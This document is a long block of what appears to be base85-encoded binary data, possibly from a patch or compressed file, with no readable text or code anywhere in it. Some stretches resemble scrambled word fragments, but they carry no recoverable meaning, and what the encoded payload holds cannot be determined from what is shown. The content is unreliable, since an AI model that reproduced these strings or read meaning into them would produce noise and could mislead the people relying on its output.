zjuBPgXEhpF#!4p&8a%^B7F9tMG+4c4QD2FI2CF7o!RvY0ET0E7Leag6QtwP*g9fWt zwCex$h6Yj4VD*|sSr7#cR&Q988&S|;)y$$c69o-cZ&}n4qM*U*9gE5$3L30hSX4Pt z&|uZdqFRW82CFs}^_M7UuzJs;qzt;R4QR0Xz@k)$f(EOPEXs%|Xt4UkqSg=v4OZ>6 z>bd6q6n0fY(Y?hI1r1gmEMuJ{3L30Fv#6UyL4(y77FA6YG+2FQQLRKlgVi?{#RK1_ zqBdx->ZDcA8uC2#rM|)6vxdWof(EPaEMsX91r1hRXsnq^DrcFoW)KApRzHxc&N3Ou zs1-y(gVj%@Qs&+G!6<*Cpuy@FQZpLU8yFQw6f{`bW+o#?7W4VS0{Bmndkk z;$|7kiYREX;-OW~SOb>JQ9l@@cF~(VQP5z;i_|j5;4DUMCkh&@_>lS#FQdq)OroH{ zY5-Cf+SV*&R3%Z+U^Nga$-iSg7{yDycZLlbtOgi^k%Hc`-E zCBULQh=K+yK^C=*C}^+}Vo@nXL4(y`7ImE{Xs{Z>qN<641}peo)_>ho+KGY&tD!84 ze`@zxh6bx)EJ~gzXs{AtQHDf8gOw3VyHeUu$@fC}^;fU{M!| zf(9!|7F9|VG+0Tos1HOzgBAR*kp1hp22<~XVS@%M85X5P6f{`LvZ$FvL4(zB7PX8h zXt0u_RnKGZ@^7x6q3GWHiGl_zd8Eo#4qnEnokT%{)d-}_#!uePs3fAG!Ab!s+h=Xm zH>asx^mdsjXs}X5>iW?y#~Ag5C}^-6iIjYi{yj#u5CsiZqmcTMekOrY1B|+73Jq4H zY1RKDwhU3wU^NDfm3z-boEd8hQP5yD7O4fcDmNIlgeYjRQleG=GYlXK8m!>=fti0} z;rRQP`XZSWQA|NBIPMMm;AA z8mzRClAUhb!Kg1pL4%bxQtvwVJ!jMqlkVe#1}hz;Ho3V{-;Skr(c37ZputKPskfbj z-!aONC}^g}YqEbe+5CsiZQ;}*^m_~i?n%dR9P4E5> zG+0eTYF*}%LyQ_p6f{^FAr;1VG?P(!L_vdut9^>0v4r86f{^_v8XvjL4(yo7Ue+{G*~TSQQL@u1}ke8b($z>DAnudM2l&) zn5+9Y{I95O-@yE2B%i3o+zS6uOK1f@rllY!-Fz1Hx)(l!?Kx3P`Y0P(jiefAef6JF zuZVgS5A`{0Hhq*Wi&7%Wwp;c3Y2Z>?@ls#0X9PI%?rj!P(BL(+V^JLhAU_#LDVR(`6`U6Cu&8XHFTg=|7-Y% zC}{9;IkG4@_+d4*L4%LWiB|A4UpQa!^X~aFGt?u>sm~0ZS;lf83K~2^7Z$aZC}{8u zU1>Fp%y8?E%CXE0PZ8zXXXV|Hdg1i&1fxoba_e(kD_LgPLKHOkxK^>K!PIw*VS@%M zcNV2e6f{_^W>IsAf(9!O7Ue+{G+3=+QQL`v1}jfm^}J7!^!&vSMfY}`C}^P)4Dj7ld88mu-UWms+bn^DC?L4#EQQre*lL>bjg z6f{@`(yITJA7IgamZ8Bah((Pj3L30}S=1b&puuW0i&{ezG+2eOs3@YK!77wRog@kx zthTVI+eATwRTzt^Ckh&@!fDm>7&XGl(*%m{?H5tdU=@K>^k=>{MhVUC*3e+J6{%C+ zZ>iU5)Gm6HBMKUi;^lAPO3+qF9tCQP5zuoki^;3L30- zu&7L;puuVtSP8mx}7s0^Z@!77rQW%pV_gVjkE zHI^u7usX$}jERBVw?69o-cXIWGbQP5zO%A$@D1r1i`Sk!HzpusAQ zMb!}n4OZt_)OVtw!Ri8w5}n_DZ9s!nI*U>v3L303Sd=MI&|sCxqU?x*2CIuKYAsRF zV0DQ_MH2-LR+m}SNur>^>I#d>B?=m>vRG6VQP5zO&7wXM1r1hLSrqqz?rQ@Ytgf*r zNur>^>N<h;d|8Bx$+m5Y?3<#4*_{vte9-T#FKt30H}Mo0JhEdo`dpuy@6R!(Ewq3GTg5d{ra z`ABVFtFez!TZn=Ns{*8KOLAKnb&e=#uqvcg|E~c`iGl{JA{Nz76f{`fWl^Hkxq}TF ztnRTWRidE5s+dI?69o-cB`nH`C}^-MWl0qMV3=2CFA5Dx4^2u&Q8D2}D7IRV9l` zCkh&@s#sJdQP5yj&7wMqf(EOnEK1(G`+PxzRSkIPBJVAaf` zYKejdtGBf3Im^TDY}o`w_x6VgHHwa3n64D3~0#bssbSR)8(p}OZs33xXqzKa84bn({bI;!UpM9M7o4u}c zJnp%F`^-E$@4j^o$Dx{1A){2_J^DLZB~wFDUxeh}*XvJp$9fO(uA|mBRLIB?-gBr; zRLIB?-q$Mp2>+(KZ;kLDN3DBQ$jDj`v`U~lfp?0BR{KP~66n9jAH9j%rM3rFt%r_U znW>PG-FW0s<*AU7>ajyLq(Vl{>xotc)##(BkCO4KFE{h*O7+B>S72>C)hc}FM^HVr zy75da|CX}pgY9`S8gKia3K==V=Z;#dsh(T4{?#h{?Q16$GO~v+9O^O^GE%+N%AZ$@ zO0#>LdA+7WMygkiT1h_ex`K>UuN|rY6*5x2aj5E4$Vm0pq1sR(BNZ0X|M!~Qf;jRZNHKMTLx1u^eg|6*5xkzqSy`KVQX*G*=fMzw?`@ zkdZ2mqt;<6WTcAgP|v84Q7Uj{i>Flvbyje7ueJK4Ugmn3swvJ^C=@SB#D8kVcht&D zg^V0w0*9(kg^V0wLaoq4bWZ*S+s~*HS|d#4s5OQP89Bnl4z+>`89BlvTBYL%lTSY~ z$@Fk9RT682NwxCV#>4UDROc~6Y!|7Jkt0l|Rrp)w3o2x!O72i;)KB|kLq@6;4pov0 z8L3h_RBb9`q)Mfg-;D&x(x@wp-;GvO$Vio1s1fgV{L!c}RLDq$zby3sU9o?l^8Wfz z@LxVj<4^~vkdd|0I@B#HWTZ;xP%+iJ#@LXND!o>I4=1)MzY_^>%S45YR1uC^#i@{y z3jbQn|JTDtRLDq`(V@CiAtO~LhZ;$Rj8vH&YC07%Qe|ze6QczdwQv8L0|5R4FQClnUIN7t{*RapJ0@Cja+^dc5I3Yimwb zFiOOKR3WW0DuL|TG|jFW)tRc0rvg9wUDz?gfmF!Ic@=S}*;L3#Rn(z2Qz0W&F^4)% zg^X0i9qJwxGE$XrsF*EPTh)e)R3#lMT}zEZ$VgSnp{h_JBUNdw{CkHxYmWw=wRNOI zMyfK7T7#*Ok*cgiEuun3s&WpshYA^~$~)8@DrBUp;81Z}h4hAuR23a6KNT`kRnlsJ zx^Wdz$9)-*m+$4FNF6Gj5&zO!Wk;=VsF0DhsyNg-DrBUp>QD!%kddmILp`QKMyhum zDtT+&_z*HuRd=YuRLDqG!=Y+XAtTj$4%LYY8L8fPsIgSYNLACJmQo=jRV}Uj+w#X- zk9I)9+qP37BUNpoDt5Ya*Qgs*$VgR3tMJb_qPOvCA|q8@hssEWj8yd;suUG6Qq^~; zmQ=_{)xe>KP$45#Lx);Kg^W~<9BMZeGEy~ms4G;+NY%ulUQ;0>)dvohvaNTPk&)^{ zhblvbj8sh>sv#9JQZ;j^-c-m))!d<`P$8pK;Biz7t#YerM^YaXBHd4G9ucjgY7r&k zKk6f`l2EPR-uHn~2dF->R7df1Xjds9IX8l|!Xyrw*pJR+eh*P=%>ldn)iq zuZ>pz)n;Fu#uL#mZ);42jO=_{p&B&Lqh1;I)yGuG$j-OZ3a`(j^DhQJ{?~M4Bvm_W zgzdG8O685ruQihj89BlZ4z-I48L2*YsM}P?$a!_tDg#IO-A9qSnR&%&?~S;lHLp&N zT7{^Pk+nY2s*pM;deC$Cym6*hZK_YaT7fm+S*zk4;e+2gWHG7@RcA|e(aK-*@~NIn+ifWTg7kq4rTBBUN{Yx=e+PR6QK(ITbQe^>nBd>Yg1N zGE#k}m4Be_jy>Mo&S) z+cr@lBUL{~tvyu8NcFixU8F)rs{Ri3nhF`I1~^pmkG=UJBh?oURhbGIsRlY!ODbff z8st#@sF0CrutUwKLPn|~4z-;M8L5V9<*$viH|UtBh_Swx=w|RR8t%((I?(nMnL3*|QY~_*b5zJk zwb-HVQz0YO5{F9N#aoBSNVU|VDpDaM)iQ@_O@)k9%eC?!rQ~b9>kJa!Hi!xtsa7~@ zO`<|ZsvjI`H5D>at#qifRLDrR%AuZ9AtTjlhsxO1>k2Ybt#PQ*RLDrR)}iWCAtTi~ zhw4Rzj8y9#Y6=xHQf<)6UmIH=t?Yq>x2>l_MyidDTKlPxk?Kc>x}c7Wq^?CiJ^efeIO^esMyg*O>NhH6q}t|Cm#L7E>Nkgq{Hb@Ak&$Y`GE)8FP`jv*k!p`a-KIiDs=W>sx4U?ZJKgRqX1Q9o4V%ILOHASF}pZ>YLI;y!0!ne>+tDgfKQ_yy{ie9$ftG>Q^1r z+w(Zc$m-X$O0KJfLLb(P80c3Dg}$Uh#;d+x?ZHIs>euyg{8>!y^{|X@)L+Ttaggzj zlTH03Qs1!0xuK8auhmS;9xw2X`n#`6VME3{&H%M%fZAh^=cYbRe4SVQd-!a%Z$hDI zJPtD6arUY`gTo%@mOhTUDC_M}?3f39qmIhsAmbe;PM=U{c-Z6I*2nSJ*l%M8_xDXG zlvOEg$au%8ul9^md+d4L5y#1wxk%vgb5|Y*8SgmXt3Bh)aRTrC-POkl|L)`_9_Mb9 z2z8v`Pek9-%0D|-$CR4nS5iMkNQI17J()ViUzzHG_m}VM{5z`{@) zGTw38s6A8E9=jX==;K6H-?OixU+_4{$XPsasL52wC>7|~L#_Od4VoJ5lBv3h>Y>%K zM_T#or}EPFkNsJNLVr^sv0^^ssF3mcvsLYxp}u3Ugnu2? z@fV!2AtS55aHyA5$Vl~4EC059^4g%lwJz=FUM*z2G1pLg=BSRC)Df}fZzfET$DGsQRIjab`bH~%%v%m;yX=oojgAT#Z_EeOo&{mY{8k^wzXGHh zb!W40)ODW6LB=~yMs<~2VvZA-1^(c5lt|e*i&P~`d}C(uu2Oo78iBb7t{aiG%E)iO zjnd}4UnvyoK!uD~eYe`PLS^mFN7l#jyAgRA-s|*CD0GR(LB`vcK;6ZtyAS_3fmuY+ z#~Gwz3Doz?9Vu1H%pyDPnA8@?x@~THZe}p|wY<(Q{Da^f04W+OlBiCvit^De{ zfBET(UrDW1DrCIs->E(O)p6`u#MQ@9pTbn%$m1X*tH;yIUmJgZH%h%)>-P|U-5VP+ z-oBWFLZL%yk6k^!K92enrg~C(z2D`?H)M1Xg%ODrCIspQ$~6tK-$awp%s68jbR!^*tqdtYH9(l0Ztu|z2^(0#P zx2DIHPK@#^g+dX7H3}i)Rd25LoKZXNxhK`fQJ=z8@2eCxWMuVZ4mD}8Mj>RRO0JcE zJ?#GK)L;Ji)Rm748E?#I)t(FLQ1+NpII6$oagdSKQ)=aRY54V zkAn=mq4wNSIeR?s=;Qdeg6(%#2afYEkAsYNoLoagp?|_2CyhQ%N(@GAkq2JL=9^IH zeWkD=;~i(3+M^z1h8a&H~C^VbLLB>1I6YPl;Zaf+Far|!7xqDk3(len@lHvN`A!NLLb=01yVULqZ9H;ES z9lLxJ3U%diknxVQTeaQidIK9(^43Da@Fs^Ek-J>Up*D$DBXS zi_CtdP-rt1GG6ruYEPQ5)${4&s83<4XC8@ug+j>4>iHe2JQXrh70{}*chFF=NE6h9 zD{p+EP-7}&ynR2ZJrQBYT+mVdK97TptX@c~@~nQf{PGljCG~tjJs!Y@j90zA+LJkK z^}_l%B|Q-8GQHU?->BCKcpPNBOS<1T6Lqn-N<;y`Bv@8 z9ridy^>M25I7hB#%IKR==pc`SjCY&@W7O}thCNO(ah#1qXHWM{DAZ9YY{+=W*{}8# z4tt#9`Z(%Sm=*P!$3aG(of29V*HuEHd-aN{XZl{HP$=10Z#OdDzP@Tt@vzlP>f@+S zVX80VagdSKOKIhw(=@*wSGO0x`c^7rq$;hI`V^*ChH>7Qk&&v5LzSgMMyj$7)r1Ne zsmeLjXH>{YRoE>Tl6{AM{M^(}akG^o0 zQZ4SGUIA9iL2qZNDtRjKN=0R@)TjStJrDMr3K==CDh`!sye=6+M$W6MR(SjrU41-? zlrD~`nvJTeHLq$~rBwp+S~+!FKBKBpRkP;xu49DtsgRK)tgh88RY!dhs+BB34pXZa zRduUY4M(kSsF0C8e9xiQQz0YO`wn%U3K==Cnp*j5qw#Es?}I4 z|54MFA%%N*=KyCn-b8#>k3_s$fwSC1EA=VNbt4ZIGHQeY^?_D?t!N3GoiVklQz0YO zhgzvmVQRIaLPn~lTKTow7kSmx)EYvCj8x6EQlG-qnn8t(RLvb~0~In-wb05R;j;x( z0qH%d7ye;xq-hYvis-;%yQYv7S+vsgRMXgHSal)?Q`QTPkFv`dFyb>9VQ2a=#mC)N?Ux$S4&!Umdkd z#q8N32k)8lU687yb-p@@S~-^8&u(hHM}>?W;U_|EDm60j_^>q)zd!zLxl!|}kddm7R_arj z^R<}@8L9d@)EO#dr0S=Yf0i4zOB2nEFw$i2d?6#%=R&poVe<~7l2aigRe!D2r!e!% zM}>@3101S06*5wNp_MmeSsgRLsj8I2wzB|CE?NrD}HCCw9FA}Jq zlJZyYT`FXx8Yk3^TDw0oDyDiL2OBa{jn_(j3Ugb|M1_o06SVSgl@T+qs;AEW2uo5S zBh^Hq`ki0(z^J-Z$Vl~-R_arj5q76SMyjv1@<%xKlMW|Lt>IM2NHs|-^(joPg;dB$ zHCZda)|$BE8<|=MsF0Criclv$&r{2&hg8T&^^I2QQlajA~4Uj8q#Osv{LLQf>U7^4~Wwwfa*bBh`-%HJ1t* zsWv&(?^MW0wOK3w_LXnQqQGP9b5zJk^^>DkboGuNHe{sw*`d-q}u9G{i%?V>Q{&Qo(dVMwmH;qRLDs6n?qfsLPo0X4)vM}8L4(SRK)k*Sw=>x z-yNz96*Ar}wUOFWTHQFjpZ~!zr>Q;fi#;dQo@QcC`WfmsasIa__CqC!Th-3~R43K^;XaHy?R$Vj!vp)OJ(Bh_AqiZRpc1~O9ZbEuqD$Vj!{p(;`# zBh>+iYD|TUR0kbu6csX3{pnB}sF0EBkXHT`@|QQg{y@UpPEsKw)nATUcc_q&>aasa z#ha*VLq@72TKOX!xbkohGs1jS$Vm0KqgG`qWTZMOYTYmQ(-~8%9ThTC9dp#`O@)k9 z#~o@G6*5wt(8}*d+Oa*Jm=Ug{LPn~SLXAtEx~Wk+sgRNClu!+e-^gs#IVxnNIxW<) zSaSofdETc&MyfMHm72CE@LFzYwzoErk?O2advZq_YDSop3K^-+3Dsmv$G~gUxu}ql z>by{Ss(clA6}=)AGE!X->X*Nt4>BXHPlb$B7lo?TGJhkZ+EF1R)g__&FZt#xqxw)G zBh_W0Zk2dl)~GR5$VhcXsFdT2q%i7xDrBU(D%9vS%{Lphg$fy|t_k((%7V&9ou@)Z zs_Q~^>9s%b8uhVeXBh?*8ttC{*NOf1#TDa(5O;hVvDrBU(=csj$3K^;HJ5;KKYX?Qa#hk@8P=%7MDlD+g?#2Bh_<9t;F*@jf_` zsx=idQbiZ)dhZm)jT%9Pj8rj%N|P<>0i)(pA){2_UHh0?rBW?M54!BXG2E=JO;jBWuO}pF%D9_w4?mitW`3j4+N?>a7m-Z(M{zclRy2U`7~e zf!d|EIF^d5RZ8_e)QTwixU*3Ssp48Ho>qCNTHkE0-iwT+{tsIQs(79X{M1=|t)i-o zpEcbmK!uDvUkSAGZGAlbsWpNM8F{`EYt>23 z3q6e0^YIch!^KpIqec9uRuWOGV%$mvOs!p1$jA{U6)M--<$?FMo=_npRWhMs&#D%9 z_btmpHE6XVBUN&(qN?xN=c@`8GE${*sE$;~C>2<}DYd$)YT;*+*UrsW!c-kYmD1~B zK&8@ZsS+{NNAj4{R5$#wE~83isnlA1r-b?<)bCEW!0O#gmD*E*)%%WC;k$8@3K`iA z{A9}i_gC;@EK=pw=Kb_aup4Q$I<3BkdMh`jd2HsDfhw&vuXI|eJ4oG)=BYl|V^n#n zbe2l5RU_7VUZ8I`qv}zmw^W2y8I(f5r{CzMez(Q%d|RprOJ&e%0Bfz?lv+LR^;JKr z43^5MRZ-T;-6lqJqoz`2^i<${Wzx#OZXDioDDYTxBNZ}o9cI?53Tqvyxa+W~^(R$k zYlK;}N<(#J-DkfWb(<=SHNvb~MWs^zQ5&ux*rF}={)>!UQP~_S4HYtSUfH!uq7I6F zpZ&0_y5#$v&qtNrnpY03vQTv_x3G&*?^ETlR8Fn(Q55SusB&5=msYu`zT2BM zaH||dmCI7OwMs^H=*;%arq*n#+?L9tmAb^}9_)B>RNd74Zmg%uW2wAa6{7n2=&jU7 z{YjPAQ-O7uPpha@>OX4p&+<(wWaRnE@2I8!i41j={8p_3j#{bJy%IKLWUYc)#aG`$ z54Np7yWh+!4^=^{8-=tAzoJS|6|z)eq5evCdcCRDgsQMLuOeFcx8-8Do>ekE>`jG? zyrmS?Dk|rt{-ZX(^CPK{k=-b!l|QfH+k2^ZI{dY2qSwMvLuCuc`i zmqx$VEvgb$t&)yfQE_LeHe_TsN;%X!RLDqGS}VWv=@aEuj}QGG=A}YLsxppRb*PY$ zs;ooxph8Bfat`%16*5wlcc?{F$VgSep*B$=BUMF*I!lF&RFxd+Efq3SRd%RU%e=LL zj8s(|DjyXxQdM=RYE;NbRn4KAQ6VGMyAIW#3K^-YJJh#S$VgSgp_Wl0Bh`Ca`L~o2 zFH=@S!rOkLLPo0hg}Ri!{f|cNqe4cinnG=jak{Hf7pahus+LyauZK^mkddmkLnUAC z%?}x=>Nr#(DrBUp>rf4-kddmMR(|I%#h$ze32*B`g^X17g({WvQaz(4P$45#1EKcp zzgF0&6;#Mb)ljH`eV%@1)P5>tq-rG8mD63?7NhH6q-r5lly3w2p8L8Sh)Icg^q-v{`e_O6l zBhG6x!WmS^NYzfLylSWTa{@)T&?mB{u3f6*5wF5bFHcB2|ofL4}M|9}9J& zYfQDA{1ugQrFWK*k*cFmiTdXG-KgAD$Vk;mtMKRReJW(6`oy8Wph8Bf&JMMV3K^-o zIMfa*WTfiqP$#I6k*b?Ry`e%zs!ts%VwHEkkddmpLlve%MyehTRhbGIsd_q8b1Gz{ z`pltvP$45#FNc~*g^X0a9cm{PGE((%sC!h%NYz&>|GH6o?ztUEcw5rd-hYvis-L4) zF)C!F`rM&DqC!Th{th*a3K^*eIMiY)WTg7Sp>|UtBh^5MI!%R)RD&GqHWe~b4R)x| z8t;4|Bh?UxN=$`}R6`xAC>1hN4RfeQRLDp*+@bnWAtTk7S|#LqjoNK^;60A-sF0Cr zgi!BxnW?U3{+eG;g^W}qwF-alu$u}QsYZ!f<-g9^$J9Dag^X0A9km`&AtTioQ7hk& zlp9Q~tg18EkdbPvqgHt;WTYA=YIXR2e=$?54iz#|jd#@QK!uD{6GW|dpTtuyY5V7E zDitzPO%!Uw+hfg)!h2!Zkdf*uq0W!IdBv!IsF0EBYoYo_SrNsk04vM!k;h_izyvGE#jbRK;^IZX0!;3K^-s6)Mrc z+v*#YT)l3I4H>DX3YBs}(pN^+q(VljX+l+)ov@ZsUr-?<)ptVukUryGqkg7BMylyT z%{rbTzfqT|kdf+pt-@b7;;CCGHe{rlA!=1P*7&%om7fY3sb)%5>glgWHK9UAs##iv zAK_psWTcucYW?=h-rAMRB+>ltk65?M0wooA> z)e@mH=NNF)sB=`v$ZjmvN<9S)rBEM7%guXYx)J$DwM%VFRX5~c6~B0QBx}? z6*6*!%Z2JZ{l!(IYEvO2N4P>Ob!yfAP^j+I8tNM5zk|?+YK3*aeh{^aE?THouiwKd zRLIB?t`zF?XwwE7wV4VTsa6R!aBjKHM%|%8Myl09wJG$~_eLeygubhPY1mS0gj%?@ z@)t%Gq(Vm4S}Rnhmn60QvE2@kJn%?O)PAtOillU7kx9e<@8^%WH|a)du?l};(F z^tmYpsvi1&Gu6-52!C|T7Bt#JGAP@yA_Q}MfIySuWedIRm$&yR~3gTM1_p({BI6bg$fzj zjqO?`Wvy)oCOtM)>r-vFM!3UKs}mJ6a)iG-)Nm?fjLp;bPvjWaFBe{Iw=sz0n+ zd$j7I>fqjd!pk?m85R3ywM%V#EVWmwIqG{*5xw68e%>a6YOkj%)oYNsN%hJq7TTv( zRP~iV8|?MA5>z@9%Bxj_5AePH4%LWCXGAv+Xw{oXpLBm_c~i9))d6pWfuF=U7^W6( zY1k%EAtP7RpANN-3K_Yg4rvulwE{h?`duBB^!xHR)gfzye`)2v4zMrEmc}@)x80#a zMvm~XQ0qrU4LpvD`irNLks~~!RU9=aoU=VMBgHi%%u98|8)0A_{;gFrB`~fNyOXMS zEBtv?r~2DcN42V;KI6VJdyUh78`XyDsHKi+m0Sr_NM7>THlx0vI%cWkTGdp;i=|Yj z)`<@q^$pc=PX*S-39X{Cmimv{{LU|o}ucQ=PWd8Lh(iFwquuAhn&b)LE_8tM8!)(az0K&%gY$oQdkJ zrvg1Zr&UxX{H*C=2`Xe{H_mH?e=84iY#_+|2Xo{s6|wlEpst9EyqToLPE++M)pcux zHypL%Z&d?V8#1!iO;PLJ%WKtZhW-rmQQfp^-E!0_M}>^6bz3WSYV}VbpLnmcI^lk; zW>mMmT7k83N2}&a;Vk!$`9lh$`cmDo)LpIOD}f3fvPY<=5q_;%RCg_PPpj%GsB7(O zu)wHasqT3yur}^%6_vHrf7Aw#?JN~Ca&7$MQ1_{jkv)8%)oOL*=;~ulnjMMF2wzh@ zutxaMQ7fgo@?b+o)_SBB{>p{=B2;N@#`&gJ9;!!Ht;bsV_poJCJQ`!V@jewYvKvpd z3g5#{RLDs6RMcu)enxv!t3MSoa$e80!qYR<`*2>Fg=SuJsh(N$dM;{Z?$KzcskMy? z89Bm#g{oI=&S;}fQz0YO3!&1)8>Sw?`YY-=6*5x26e_{|0s)n9o0_WHkdfVZrBzGy zJ#^zz`EO#IZe-u4cB$=^)s5Gp*1${GPnZ!_+@?_o89Bl?LS66jvAR|I^J+qcj8t!h zx->9%Tcf&DAtM!TAm;bKhV7`JE(U(B;Z(>-6-lVVGo#EiY6cZDQbiW(#jR87T~xo; z8Y*Oz3S8NuXw@s^b$;Q{Px_nA@1=?oJ>oyLqKaC@&$XFsYF(y6MvgF=Ryf1{RnVvx zRLDpbUDP`8&nmU{{CUOuO&v^a$Ve4KsMnt@Zf#T+DrBUJsa5z9R;5Bls#u~{qN~#m zn_3O2kdZ33P+14OU&W}7RLDpbN2pm9-cd=v8w073Q7Ukj<7%artiFAX{(9nEa}K6b z#kJ0IJgvfaV>J~rvQ~VpnyOlO1e@*Znt7(yPOA7;tptu*m#L7EwGwJoOw~aT`fvE5 zi>dXPDxp;?k)u|k?dm{kLq^t0tW{q1J=ChcF7%;PGMl|IG_yi8yv^lGhjf-zQYa$j(PNYK^Cguxe${D*Sb01r;)?R$zn~9cm{P zGIE5Ow0cj?0%!T~{x)iv_}w@~mC5R1W`}x6mDy5Rw92FEL{T4G*Z)w^)Qa=F+NHKE zmddJ?x>)EDPF^|oj!`+NvRW#eR^eA~Evjsm%I;8Ysj^!thgJpD2r;iMS(mGKEBqb~ zp~_*YoLY_Nyvo(Dsb0DA)qJX)mdd47daA;`SDrU&J5?@A<#woJRJkpcN2{)?R#f%T ze0IzB zQ~|BjC*AK&ajpj5<0wy6z)}SrsvcEAOBK@Usk(8Y-sliuDi{ABGs2!!$jA|v)9SifMC!%7(Aw7V0{42~QkAntSY9jK`u){sYOSI| zMvkz8L;XR8j2vM_ttP5kSch+3Hoau3o~5d2t&K_!^$%4gOI6m&zlwIub+Ux16=k<7 zueQpTs-jgq@7tkY=Z|h>R3@q_o(kM5t7_$+hg^W~nh5GgJ%g#m( zrb0%ldP2o0FjXyozlV#dkWnho!}?mO1);CK`@b!_#H_grlFE6;*_) zl{K%{T16;<)mQ3d^=(Ggp=xcZHd-}O0@tWEMOLel{_5>Y)yC>ZTdl%(V>A^qa$fDU zD#LkwIN;hDQ)?krJF8ZEN3AVX$jDk9w8E=cn9aVG-EW#&$EZ43-S}85Ty4;e87uRi zGwK1=$Cm1-RrnPZYo9uh+B#bE>ZDcp9%iRPMy{w&9I6HtGO`<;wQ8bT5l4+BXRntR z%)CCP>TJ!ci&is~!rXGEukoExUs83kR9CN-61W27Z@O-dQS+&~THWZTRrqfFLWPX% z#-|Q-o(dV+jqY0YRindME;=CVhh~ItsJdJ8>Y>$_O5j#G=~{!@Mx|EIs<8F2R8Oty zbIt#Fc#)bSRwTA^R6VV3e5O_SZnU66M$W63RyEa;A&V9L?TxARB~>r0R&PhGg;dDM z&i8SsZB)oe)z_h}P$47d)laKjs%iE>+p7xQZ-Di52?Pe zY7KPM>Q04>?ED~y8bgJQRD&IA2^BI@4RNTgRLDp*)S=E$AtTi=hk8ndj8wxND*i!r zGSr5QR9`w&CMsm48sShSsgRLsq(jxDLPn}l4%MCt8L37)RDUXDq#EN;Q>c)UYOF&o zr9wukaSpYO3K^-!JJjD)$VfH8q3%*4Bh^HQiu|XyqL7j5D~HNJg^W~RJ5(7eWTcwp zQ1z*hk!rF-wWmTxswoaNhzc30zHz82RLDs6twXJ%LPn~o4z-^O8L6f@)MYAUr25XG zUQr<<)pUnSbI4m!$Vm0QLzSRHMyeSO^&u59Qq6RzK2*p^HOrxG;g^W~l z9O@_)GE&WTsE1U@C>40kVV+k0`?gI0oag{ zYKcS5qe4b@W2sitR4dejwNT9#)eD$;ZKqml&1;#X)^#dmWUb{|Jyvz_nC*DUgBMM$ zsOnu3Y|E`$D;%{_P$46`@q`vgrxo72 z!TBn_X45n?ueVg|EVW*%Pgv`x_}T9nmG+3*t+w@++Mt#HGZjTgwN=ke{M%PCstuOf zsMR~_h{%pO9y#zTaXqSyo(jCG|D#snpK)}hLPqv*lU7Ak9b7kVe|>708R2BAO;)YV zj#@uZAtTT7PY!jE3K^+>cBq$B$jEv9qLu&tSN8#V>X>cdeSL1s_j+|KR16 z1CE5@b|yyyEn)nRL1N3;sx z`D;|j$a($kP)UyCY^g^Eo(inPqgoYG-^0~LzF%3I>ZmoZV_K;L*FBw=$|1)p4sEC$tLRjd4`S$Zni;s6|xB$g_M(tH!)W<*U_psTtuG zs#DgyPHTmEsV_p8dzUX})Df!F*1XPW6@Fe%sF0EKI_pqLPN?!~Lq^W)oK}g{yzoe` zb>HUG%?R^SowMe3UaKTZ;2JaT^3L8yRiQd>sS8@=R|2<``9C#NcbV|mT2o!H)J3gw zsSH%Zf089Ost?sgOI^}R-I3_ko36{Cc}9(=x@4)#S`}xl2D1w7FlqtSWlsgJhgY-; zf4(+TAtTS%RfoDlg^WC3*R%>huec}Gz}0rmn%8x$s;ci{l)DloQa4b)^I52_Tk3{Z z)s?^%;O2XY<``9l>V~CmYK0!6!p4J(rWo}B)lEy?(h84zah7BJd}4@EeW-3(>b6#i zSnKZ5r5_kIhU&JZ?r4>fwLVzZY?4v4sP0(muBf%LTJr2h{X%uuQunk<&Jk|^eDzO8 zouayDsry=0Qwp6g+3E*%Q}fT)U8?(@3arC_vH7dP&9)ay&PX*S-3$4PhjS5uA$n*75tFP1%u@0**FWukN zYEAXhs`biIt1lHYves*@-cu(lwyHJvyU9&Wt#7GbTeaReYVD#zM%H?(RRvWCYva`H zVk1ng3si5dT6n|p|NFZz[+wIXSy?zD8Rw*AVqG_~TZpLxI*DMrM9RAj9_R^L-! zgp$;45_laTJym2&MRC;1OBKaZQMJmf>R`?Pd+@`+qm*(~Q7sistHny-d_`+oSG_=j zZesg@Dw?IDYqdcIakcq9Ly0R!b)kxGsThtCen}O>QZcn^sp??eSLs`!mZ>$HDyF4k zX_Zb1bR+rnBY}H|4OFo#6 zfeINp!bDn4RddEQYF3G2T}(HIQYEs^S7NR3*al}g<$+cGjaovL*qT=o#|VF?LPpLj zsYBhOLPn}&4i)#D8noJwkt(@E<)K1GsuT`Yg9;g`QaV(7DrBTeLnF2Ql)dKbn3ThupuK=dWR}Qg^W}Y4ppBD8L2Wj zRC_99q{`?}1hN<#VV9RLDq`-=Sh%4CxISsR}q$E-GZCD(Fx(sF0DWkVAb$g^W~% z9jZGOGExT4=wq$=l7^Qe%Ks=Pz3rb0%l3J$f83K^*? zYUN+qs?{Ad9SLu{M1_o0l^nIAUiLIHQdM@S^i;@5RmGu-Q6VE$Rfnogg^X0y9I7o9 zGE%+kP-Cc&k*c~w{Xm6`R5cvx02MM)z2{IjsgRNCeTRyrp3h=KMyi?)m6Zw^scJb? zSt?|ts;!m3dS8!xGyw^3t4D>5RCR>PmcCdsqdHL`BUN3YK3M%Qa7!6Yg^X17ggV@P zyn5BqAK@=l$VgRRtEg%skvJQpZc`y6RRf2LdDS}*GEy~ksEky|C>40utdUm9IKm%F z_B>?9TAr$r^}MpNqgDedWaJ2&I8;|EWTg7Qp+-?5Bj@#@R{p$}zD>X0%xgB)ht{*~ zrdp*`-N3p1e$B6AjoLuf)Kbl~N=H>Q%a(V%sg;%LBdb_pYc8)0BxpJ-J@jU&4H=+e4OZZog1 zsXnph)mf|XYyJl+WaJ3DXjM+tiK0F(-|h8{sdbpDi&d+uR^e;ip+ZL1>ZX-?J4Edd zh3fx2Og$g>ulVt9s9kF7X4U%CQ7a1-GV*+Ncc_|F$jA})(CPy<4s;`3+#|=#2-{Kh zutwO^QL8@{GIE5UIn+cdWaJ2YX@zSPdU(6rpMjqWUQgA_8)0BY_15a7YBto1X^-ca zdF`X>ZOyBXV}z%vkdgE1>rl~es`6?>Myh@em4^x$sXlk8dQ`|r)!(6dQXwPN0EZe+ zg^W~RIMf0vWTYDCP=8P%Bh?^>x3xr)i9x^XNjYJw9T(ooeCMLh6}ag=HVAcwWdNwsxO5q@aA>k(efZF zWTYA)RO+94s5b`v5l*8*MyioQjovbGs8Q>wkdbPXP}$>dU1iikDrBS@E!5boo7BbI zAK`T>WTYA+)Z}fG@)#B6ws*FXk!q|^9Scl(*Qj(<$VfF#sLwLZE@f0nDrBS@FVy54 zLs}VCg9;g`CJ5D~#H&3Rml>8$82q=zPIkpXNX!U)3$hPYW1f=Mvic% 